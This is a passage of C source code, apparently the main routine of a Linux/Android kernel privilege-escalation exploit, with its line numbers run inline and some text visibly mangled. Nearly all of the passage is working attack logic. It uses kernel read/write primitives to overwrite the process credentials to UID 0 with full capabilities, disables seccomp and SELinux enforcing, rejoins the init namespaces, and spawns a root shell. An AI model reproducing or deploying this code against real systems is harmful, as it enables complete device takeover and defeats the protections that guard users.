sscanf(argv[3], "%lx", &search); 1337 | else 1338 | emit = 1; 1339 | 1340 | unsigned char page[PAGE]; 1341 | for (unsigned long i=start; i=PAGE) { 1355 | n = PAGE; 1356 | } 1357 | else { 1358 | n = (n+15)/16*16; 1359 | } 1360 | hexdump_memory(page, n); 1361 | } 1362 | } 1363 | exit(0); 1364 | } 1365 | 1366 | 1367 | message("MAIN: searching for cred offset in task_struct"); 1368 | unsigned char task_struct_data[PAGE+16]; 1369 | kernel_read(task_struct_ptr, task_struct_data, PAGE); 1370 | 1371 | unsigned long offset_task_struct__cred = getCredOffset(task_struct_data); 1372 | puts("\nleaking kernel pointer"); 1373 | kptrLeak(task_struct_ptr); 1374 | puts("\n"); 1375 | unsigned long cred_ptr = kernel_read_ulong(task_struct_ptr + offset_task_struct__cred); 1376 | 1377 | /*#ifdef OFFSET__cred__user_ns 1378 | unsigned long search_base = kernel_read_ulong(cred_ptr + OFFSET__cred__user_ns); 1379 | if (search_base < 0xffffffc000000000ul || search_base >= 0xffffffd000000000ul) 1380 | search_base = 0xffffffc001744b70ul; 1381 | #else 1382 | #define search_base 0xffffffff81361f00ul 1383 | #endif*/ 1384 | 1385 | message("MAIN: using last successful search_base = %lx", search_base); 1386 | 1387 | message("MAIN: searching for selinux_enforcing"); 1388 | unsigned long selinux_enforcing = find_selinux_enforcing(search_base); 1389 | 1390 | // unsigned long selinux_enabled = findSymbol(search_base, "selinux_enabled"); 1391 | 1392 | unsigned int oldUID = getuid(); 1393 | 1394 | message("MAIN: setting root credentials with cred offset %lx", offset_task_struct__cred); 1395 | 1396 | for (int i = 0; i < 8; i++) 1397 | kernel_write_uint(cred_ptr + OFFSET__cred__uid + i * 4, 0); 1398 | 1399 | if (getuid() != 0) 1400 | error( "changing UIDs to 0"); 1401 | 1402 | message("MAIN: UID = 0"); 1403 | 1404 | message("MAIN: enabling capabilities"); 1405 | 1406 | // reset securebits 1407 | kernel_write_uint(cred_ptr + OFFSET__cred__securebits, 0); 1408 | 1409 | kernel_write_ulong(cred_ptr+OFFSET__cred__cap_inheritable, 0x3fffffffffUL); 1410 | kernel_write_ulong(cred_ptr + OFFSET__cred__cap_permitted, 0x3fffffffffUL); 1411 | kernel_write_ulong(cred_ptr + OFFSET__cred__cap_effective, 0x3fffffffffUL); 1412 | kernel_write_ulong(cred_ptr + OFFSET__cred__cap_bset, 0x3fffffffffUL); 1413 | kernel_write_ulong(cred_ptr+OFFSET__cred__cap_ambient, 0x3fffffffffUL); 1414 | 1415 | int seccompStatus = prctl(PR_GET_SECCOMP); 1416 | message("MAIN: SECCOMP status %d", seccompStatus); 1417 | if (seccompStatus) 1418 | { 1419 | message("MAIN: disabling SECCOMP"); 1420 | kernel_write_ulong(thread_info_ptr + OFFSET__thread_info__flags, 0); 1421 | // TODO: search for seccomp offset 1422 | int offset__task_struct__seccomp = getSeccompOffset(task_struct_data, offset_task_struct__cred, seccompStatus); 1423 | if (offset__task_struct__seccomp < 0) 1424 | message("MAIN: **FAIL** cannot find seccomp offset"); 1425 | else { 1426 | message("MAIN: seccomp offset %lx", offset__task_struct__seccomp); 1427 | kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp, 0); 1428 | kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp + 8, 0); 1429 | message("MAIN: SECCOMP status %d", prctl(PR_GET_SECCOMP)); 1430 | } 1431 | } 1432 | 1433 | unsigned prev_selinux_enforcing = 1; 1434 | 1435 | if (selinux_enforcing == 0) 1436 | message("MAIN: **FAIL** did not find selinux_enforcing symbol"); 1437 | else 1438 | { 1439 | prev_selinux_enforcing = kernel_read_uint(selinux_enforcing); 1440 | kernel_write_uint(selinux_enforcing, 0); 1441 | message("MAIN: disabled selinux enforcing"); 1442 | 1443 | cacheSymbol("selinux_enforcing", selinux_enforcing); 1444 | } 1445 | 1446 | if (rejoinNS) { 1447 | char cwd[1024]; 1448 | getcwd(cwd, sizeof(cwd)); 1449 | 1450 | message("MAIN: re-joining init mount namespace"); 1451 | int fd = open("/proc/1/ns/mnt", O_RDONLY); 1452 | 1453 | if (fd < 0) { 1454 | error("open"); 1455 | exit(1); 1456 | } 1457 | 1458 | if (setns(fd, CLONE_NEWNS) < 0) { 1459 | message("MAIN: **partial failure** could not rejoin init fs namespace"); 1460 | } 1461 | 1462 | message("MAIN: rejoining init net namespace"); 1463 | 1464 | fd = open("/proc/1/ns/net", O_RDONLY); 1465 | 1466 | if (fd < 0) { 1467 | error("open"); 1468 | } 1469 | 1470 | if (setns(fd, CLONE_NEWNET) < 0) { 1471 | message("MAIN: **partial failure** could not rejoin init net namespace"); 1472 | } 1473 | 1474 | chdir(cwd); 1475 | } 1476 | 1477 | if (!checkWhitelist(oldUID)) { 1478 | if (0 != selinux_enforcing) { 1479 | kernel_write_uint(selinux_enforcing, prev_selinux_enforcing); 1480 | } 1481 | errno = 0; 1482 | error("Whitelist check failed"); 1483 | } 1484 | 1485 | message("MAIN: root privileges ready"); 1486 | 1487 | /* process hangs if these are done */ 1488 | // unsigned long security_ptr = kernel_read_ulong(cred_ptr + OFFSET__cred__security); 1489 | // kernel_write_uint(security_ptr, 1310); 1490 | // kernel_write_uint(security_ptr+4, 1310); 1491 | // for (int i=0; i<6; i++) 1492 | // message("SID %u : ", kernel_read_uint(security_ptr + 4 * i)); 1493 | 1494 | if (command || argc == 2) { 1495 | execlp("sh", "sh", "-c", argv[1], (char *)0); 1496 | } 1497 | else { 1498 | message("MAIN: popping out root shell"); 1499 | execlp("sh", "sh", (char*)0); 1500 | } 1501 | 1502 | exit(0); 1503 | } 1504 | --------------------------------------------------------------------------------